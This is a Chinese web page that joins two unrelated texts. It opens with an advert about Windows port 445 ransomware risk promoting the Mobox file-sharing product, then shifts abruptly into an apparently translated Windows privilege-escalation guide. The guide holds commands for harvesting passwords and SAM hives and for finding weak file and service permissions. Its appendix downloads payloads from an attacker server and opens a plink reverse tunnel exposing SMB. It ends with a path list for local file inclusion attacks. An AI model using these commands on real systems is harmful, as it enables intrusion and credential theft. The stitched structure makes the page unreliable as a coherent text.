Windows的445端口的作用:
Windows 445端口究竟是什么是什么用的?445端口的主要特點是支持文件共享,比如很多企業在服務器上將某一個目錄共享給 企業內的員工,讓他們存儲及共享文件,這個時候就用到445端口。另外打印共享也需要445端口,Sqlserver的AlwaysOn也需要用到445端口。
445端口的風險:
"勒索病毒”此次事件有一個特征,在無需用戶任何操作的情況下,勒索軟件即可掃描開放445文件共享端口的Windows機器,植 入惡意程序,將電腦中的文件加密,只有支付黑客所要求贖金后,才能解密恢復。
內網安全的誤區:
很多企業認為,內網和外網隔離開就安全了,這種思想是落后的。從這次勒索病毒的傳播來看,內網這次成為重災區。原來所謂的內網隔離,由于目前移動辦公的需求,及員工有可能通過U盤拷貝文件到內網,內網的安全邊界已經被打破了。
445端口關閉后目錄文件共享怎么辦
而企業內部需要進行文件共享是一個非常必須要的功能。而445端口屏蔽后,我們推薦的解決方案是,用Mobox企業網盤,完全兼容Windows的操作習慣,可以完美解決企業文件共享系統主要功能:
1、在網絡上提供一個空間給授權用戶來存儲文件
2、實現個人文件異地存儲備份
3、可以方便的實現文件共享:
1)單個或多個文件共享 (windows 只是支持目錄共享)
2)一個或多個目錄共享
3)共享可以設置時效性 (到一定時間可以失效這次共享
4、可以方便的創建文件外鏈供郵件集成
介紹
特權升級總是被歸結為適當的枚舉。但要完成適當的枚舉,你需要知道要檢查和查找的內容。這通常需要伴隨著經驗的豐富而對系統非常熟悉。起初特權升級看起來像是一項艱巨的任務,但過了一段時間,你就開始過濾哪些是正常的東西,而哪些不是正常的東西。最終變得更容易,因為你知道要尋找什么了,而不是挖掘希望在干草堆中找到那根針的所有東西。希望本指南能為你的入門提供良好的基礎知識。
本指南受到了g0tm1lk發表的基本的Linux提權姿勢的文章的影響,在某些時候,你應該已經看到并使用了該指南。我想試圖反映他的指導,除了Windows。所以本指南主要集中在枚舉方面。
注:我不是專家,仍然在學習當中。
指南概述
在每個部分中,我首先提供老的可靠的CMD命令,然后是一個Powershell實現的的等價命令。同時擁有這兩種工具是非常好的,Powershell比傳統的CMD更加靈活。然而,沒有一個Powershell命令能等價于所有東西(或者CMD在某些事情上仍然更簡單更好),所以一些部分將只包含常規的CMD命令。
操作系統
操作系統類型和架構?它是否缺少任何補丁?
systeminfo wmic qfe
環境變量有什么有趣的地方嗎?域控制器在LOGONSERVER?
set Get-ChildItem Env: | ft Key,Value
有沒有其他連接的驅動器?
net use wmic logicaldisk get caption,description,providername Get-PSDrive | where {$_.Provider -like "Microsoft.PowerShell.Core\FileSystem"}| ft Name,Root
用戶
你是誰?
whoami echo %USERNAME% $env:UserName
系統上有哪些用戶?任何舊的用戶配置文件沒有被清理掉?
net users dir /b /ad "C:\Users\" dir /b /ad "C:\Documents and Settings\" # Windows XP and below Get-LocalUser | ft Name,Enabled,LastLogon Get-ChildItem C:\Users -Force | select Name
是否有其他人登錄?
qwinsta
系統上有哪些用戶組?
net localgroup Get-LocalGroup | ft Name
在管理員組中有哪些用戶?
net localgroup Administrators Get-LocalGroupMember Administrators | ft Name, PrincipalSource
用戶自動登錄對應的注冊表中有些什么內容?
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" 2>nul | findstr "DefaultUserName DefaultDomainName DefaultPassword" Get-ItemProperty -Path 'Registry::HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\WinLogon' | select "Default*"
Credential Manager中有什么有趣的東西?
cmdkey /list
我們可以訪問SAM和SYSTEM文件嗎?
%SYSTEMROOT%\repair\SAM %SYSTEMROOT%\System32\config\RegBack\SAM %SYSTEMROOT%\System32\config\SAM %SYSTEMROOT%\repair\system %SYSTEMROOT%\System32\config\SYSTEM %SYSTEMROOT%\System32\config\RegBack\system
程序,進程和服務
系統都安裝了些什么軟件?
dir /a "C:\Program Files" dir /a "C:\Program Files (x86)" reg query HKEY_LOCAL_MACHINE\SOFTWARE Get-ChildItem 'C:\Program Files', 'C:\Program Files (x86)' | ft Parent,Name,LastWriteTime Get-ChildItem -path Registry::HKEY_LOCAL_MACHINE\SOFTWARE | ft Name
有沒有權限設置的比較脆弱的文件夾或文件的權限?
在程序文件夾中(Program Folders)有哪些文件或文件夾賦予了所有人(Everyone)或用戶(User)的完全權限?
icacls "C:\Program Files\*" 2>nul | findstr "(F)" | findstr "Everyone" icacls "C:\Program Files (x86)\*" 2>nul | findstr "(F)" | findstr "Everyone" icacls "C:\Program Files\*" 2>nul | findstr "(F)" | findstr "BUILTIN\Users" icacls "C:\Program Files (x86)\*" 2>nul | findstr "(F)" | findstr "BUILTIN\Users"
修改程序文件夾(Program Folders)中的所有人(Everyone)或用戶(User)的權限?
icacls "C:\Program Files\*" 2>nul | findstr "(M)" | findstr "Everyone" icacls "C:\Program Files (x86)\*" 2>nul | findstr "(M)" | findstr "Everyone" icacls "C:\Program Files\*" 2>nul | findstr "(M)" | findstr "BUILTIN\Users" icacls "C:\Program Files (x86)\*" 2>nul | findstr "(M)" | findstr "BUILTIN\Users"
Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Acl $_ -EA SilentlyContinue | Where {($_.Access|select -ExpandProperty IdentityReference) -match 'Everyone'} } catch {}} Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Acl $_ -EA SilentlyContinue | Where {($_.Access|select -ExpandProperty IdentityReference) -match 'BUILTIN\Users'} } catch {}}
你也可以上傳Sysinternals中的accesschk來檢查可寫文件夾和文件。
accesschk.exe -qwsu "Everyone" * accesschk.exe -qwsu "Authenticated Users" * accesschk.exe -qwsu "Users" *
系統上正在運行的進程/服務有哪些?有沒有暴露的內部服務?如果是這樣,我們可以打開它嗎?請參閱附錄中的端口轉發。
tasklist /svc tasklist /v net start sc query
Get-Process | ft ProcessName,Id Get-Service
是否存在任何脆弱的服務權限?我們可以重新配置什么嗎?你可以再次上傳accesschk來檢查權限。
accesschk.exe -uwcqv "Everyone" * accesschk.exe -uwcqv "Authenticated Users" * accesschk.exe -uwcqv "Users" *
有沒有引用的服務路徑?
wmic service get name,displayname,pathname,startmode 2>nul |findstr /i "Auto" 2>nul |findstr /i /v "C:\Windows\" 2>nul |findstr /i /v """
是否設置了計劃任務?任何自定義實現的計劃任務?
schtasks /query /fo LIST 2>nul | findstr TaskName dir C:\windows\tasks
Get-ScheduledTask | ft TaskName, State
系統啟動時都運行了些什么?
wmic startup get caption,command reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Run reg query HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce reg query HKCU\Software\Microsoft\Windows\CurrentVersion\Run reg query HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce dir "C:\Documents and Settings\All Users\Start Menu\Programs\Startup" dir "C:\Documents and Settings\%username%\Start Menu\Programs\Startup"
Get-CimInstance Win32_StartupCommand | select Name, command, Location, User | fl Get-ItemProperty -Path 'Registry::HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run' Get-ItemProperty -Path 'Registry::HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce' Get-ItemProperty -Path 'Registry::HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run' Get-ItemProperty -Path 'Registry::HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce' Get-ChildItem "C:\Users\All Users\Start Menu\Programs\Startup" Get-ChildItem "C:\Users\$env:USERNAME\Start Menu\Programs\Startup"
AlwaysInstallElevated是否啟用?我沒有跑過這個,但沒有傷害檢查。
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
網絡
連接到了哪一塊網卡?是否有多個網絡?
ipconfig /all Get-NetIPConfiguration | ft InterfaceAlias,InterfaceDescription,IPv4Address
我們有哪些網絡路線?
route print Get-NetRoute -AddressFamily IPv4 | ft DestinationPrefix,NextHop,RouteMetric,ifIndex
ARP緩存中有什么?
arp -a Get-NetNeighbor -AddressFamily IPv4 | ft ifIndex,IPAddress,LinkLayerAddress,State
是否有連接到其他主機的網絡連接?
netstat -ano
hosts文件中的任何東西?
C:\WINDOWS\System32\drivers\etc\hosts
防火墻是否打開?如果是又是怎樣配置的?
netsh firewall show state netsh firewall show config netsh advfirewall firewall show rule name=all netsh advfirewall export "firewall.txt"
任何其他有趣的接口配置?
netsh dump
有沒有SNMP配置?
reg query HKLM\SYSTEM\CurrentControlSet\Services\SNMP /s Get-ChildItem -path HKLM:\SYSTEM\CurrentControlSet\Services\SNMP -Recurse
有趣的文件和敏感信息
這部分內容的命令輸出可能有點雜亂,所以你可能想把命令的輸出重定向到txt文件中進行審查和解析。
在注冊表中是否有任何密碼?
reg query HKCU /f password /t REG_SZ /s reg query HKLM /f password /t REG_SZ /s
查看是否存在沒有清理掉的sysprep或unattended文件?
dir /s *sysprep.inf *sysprep.xml *unattended.xml *unattend.xml *unattend.txt 2>nul Get-Childitem –Path C:\ -Include *unattend*,*sysprep* -File -Recurse -ErrorAction SilentlyContinue | where {($_.Name -like "*.xml" -or $_.Name -like "*.txt" -or $_.Name -like "*.ini")}
如果服務器是IIS網絡服務器,那么inetpub中有什么?以及任何隱藏的目錄?web.config文件?
dir /a C:\inetpub\ dir /s web.config C:\Windows\System32\inetsrv\config\applicationHost.config Get-Childitem –Path C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue
在IIS日志目錄中有些什么文件?
C:\inetpub\logs\LogFiles\W3SVC1\u_ex[YYMMDD].log C:\inetpub\logs\LogFiles\W3SVC2\u_ex[YYMMDD].log C:\inetpub\logs\LogFiles\FTPSVC1\u_ex[YYMMDD].log C:\inetpub\logs\LogFiles\FTPSVC2\u_ex[YYMMDD].log
是否安裝了XAMPP,Apache或PHP?任何有XAMPP,Apache或PHP配置文件?
dir /s php.ini httpd.conf httpd-xampp.conf my.ini my.cnf Get-Childitem –Path C:\ -Include php.ini,httpd.conf,httpd-xampp.conf,my.ini,my.cnf -File -Recurse -ErrorAction SilentlyContinue
系統中是否存在任何Apache網絡日志?
dir /s access.log error.log Get-Childitem –Path C:\ -Include access.log,error.log -File -Recurse -ErrorAction SilentlyContinue
系統中是否任何有趣的文件?可能在用戶目錄(桌面,文檔等)?
dir /s *pass*==*vnc*==*.config* 2>nul Get-Childitem –Path C:\Users\ -Include *password*,*vnc*,*.config -File -Recurse -ErrorAction SilentlyContinue
系統中是否有包含密碼的文件?
findstr /si password *.xml *.ini *.txt *.config 2>nul Get-ChildItem C:\* -include *.xml,*.ini,*.txt,*.config -Recurse -ErrorAction SilentlyContinue | Select-String -Pattern "password"
附錄
傳輸文件
在特權升級過程中的某個時候,你需要將文件放到你的目標上。下面是一些簡單的方法來做到這一點。
Powershell Cmdlet(Powershell 3.0及更高版本)
Invoke-WebRequest "https://myserver/filename" -OutFile "C:\Windows\Temp\filename"
Powershell一行代碼實現方法:
(New-Object System.Net.WebClient).DownloadFile("https://myserver/filename", "C:\Windows\Temp\filename")
Powershell腳本
echo $webclient=New-Object System.Net.WebClient >>wget.ps1 echo $url="http://IPADDRESS/file.exe" >>wget.ps1 echo $file="output-file.exe" >>wget.ps1 echo $webclient.DownloadFile($url,$file) >>wget.ps1
powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -File wget.ps1
通過文本文件的非交互式FTP。當你只有有限的命令執行時這很有用。
echo open 10.10.10.11 21> ftp.txt echo USER username>> ftp.txt echo mypassword>> ftp.txt echo bin>> ftp.txt echo GET filename>> ftp.txt echo bye>> ftp.txt ftp -v -n -s:ftp.txt CERTUTIL certutil.exe -urlcache -split -f https://myserver/filename outputfilename
轉發端口
這對于暴露機器外部不可用的內部服務非常有用,通常是由于防火墻設置。
上傳plink.exe到目標。
在攻擊機器上啟動SSH。
例如要公開SMB,在目標上運行:
plink.exe -l root -pw password -R 445:127.0.0.1:445 YOURIPADDRESS
注意:從Windows 10的秋季創作者更新版本開始,OpenSSH已經在Windows的beta版本中推出,所以我預計有一天我們可能只能使用普通的舊的SSH命令進行端口轉發,具體取決于是否啟用。
本地文件包含列表
這不是一個詳盡的列表,安裝目錄會有所不同,我只列出了一些常見的文件路徑。
C:\Apache\conf\httpd.conf C:\Apache\logs\access.log C:\Apache\logs\error.log C:\Apache2\conf\httpd.conf C:\Apache2\logs\access.log C:\Apache2\logs\error.log C:\Apache22\conf\httpd.conf C:\Apache22\logs\access.log C:\Apache22\logs\error.log C:\Apache24\conf\httpd.conf C:\Apache24\logs\access.log C:\Apache24\logs\error.log C:\Documents and Settings\Administrator\NTUser.dat C:\php\php.ini C:\php4\php.ini C:\php5\php.ini C:\php7\php.ini C:\Program Files (x86)\Apache Group\Apache\conf\httpd.conf C:\Program Files (x86)\Apache Group\Apache\logs\access.log C:\Program Files (x86)\Apache Group\Apache\logs\error.log C:\Program Files (x86)\Apache Group\Apache2\conf\httpd.conf C:\Program Files (x86)\Apache Group\Apache2\logs\access.log C:\Program Files (x86)\Apache Group\Apache2\logs\error.log c:\Program Files (x86)\php\php.ini" C:\Program Files\Apache Group\Apache\conf\httpd.conf C:\Program Files\Apache Group\Apache\conf\logs\access.log C:\Program Files\Apache Group\Apache\conf\logs\error.log C:\Program Files\Apache Group\Apache2\conf\httpd.conf C:\Program Files\Apache Group\Apache2\conf\logs\access.log C:\Program Files\Apache Group\Apache2\conf\logs\error.log C:\Program Files\FileZilla Server\FileZilla Server.xml C:\Program Files\MySQL\my.cnf C:\Program Files\MySQL\my.ini C:\Program Files\MySQL\MySQL Server 5.0\my.cnf C:\Program Files\MySQL\MySQL Server 5.0\my.ini C:\Program Files\MySQL\MySQL Server 5.1\my.cnf C:\Program Files\MySQL\MySQL Server 5.1\my.ini C:\Program Files\MySQL\MySQL Server 5.5\my.cnf C:\Program Files\MySQL\MySQL Server 5.5\my.ini C:\Program Files\MySQL\MySQL Server 5.6\my.cnf C:\Program Files\MySQL\MySQL Server 5.6\my.ini C:\Program Files\MySQL\MySQL Server 5.7\my.cnf C:\Program Files\MySQL\MySQL Server 5.7\my.ini C:\Program Files\php\php.ini C:\Users\Administrator\NTUser.dat C:\Windows\debug\NetSetup.LOG C:\Windows\Panther\Unattend\Unattended.xml C:\Windows\Panther\Unattended.xml C:\Windows\php.ini C:\Windows\repair\SAM C:\Windows\repair\system C:\Windows\System32\config\AppEvent.evt C:\Windows\System32\config\RegBack\SAM C:\Windows\System32\config\RegBack\system C:\Windows\System32\config\SAM C:\Windows\System32\config\SecEvent.evt C:\Windows\System32\config\SysEvent.evt C:\Windows\System32\config\SYSTEM C:\Windows\System32\drivers\etc\hosts C:\Windows\System32\winevt\Logs\Application.evtx C:\Windows\System32\winevt\Logs\Security.evtx C:\Windows\System32\winevt\Logs\System.evtx C:\Windows\win.ini C:\xampp\apache\conf\extra\httpd-xampp.conf C:\xampp\apache\conf\httpd.conf C:\xampp\apache\logs\access.log C:\xampp\apache\logs\error.log C:\xampp\FileZillaFTP\FileZilla Server.xml C:\xampp\MercuryMail\MERCURY.INI C:\xampp\mysql\bin\my.ini C:\xampp\php\php.ini C:\xampp\security\webdav.htpasswd C:\xampp\sendmail\sendmail.ini C:\xampp\tomcat\conf\server.xml
翻譯:李白
原文:嘶吼